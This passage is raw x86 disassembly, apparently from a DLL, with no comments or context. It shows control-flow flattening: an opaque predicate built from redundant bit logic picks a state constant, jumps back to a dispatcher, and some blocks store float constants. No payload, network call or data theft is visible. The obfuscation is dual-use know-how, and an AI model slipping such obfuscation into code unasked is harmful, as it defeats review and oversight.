add edx, 0x84a24c61
sub edx, 1
sub edx, 0x84a24c61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4af89668
mov ecx, 0xe92ef16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000bf6a
movss xmm0, dword [0x1001923c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x124], 0x2bae267e
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x1ab58ac6
jmp 0x1000bf6a
movss xmm0, dword [0x100191fc]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100191f8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x124], 0x24f2a8b3
jmp 0x1000bf6a
mov dword [ebp - 0x124], 0x82738987
jmp 0x1000bf6a
movss xmm0, dword [0x100191b4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x124], 0x3610c303
jmp 0x1000bf6a
movss xmm0, dword [0x100191a8]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x124], 0xdbe368cd
jmp 0x1000bf6a
jmp 0x10003040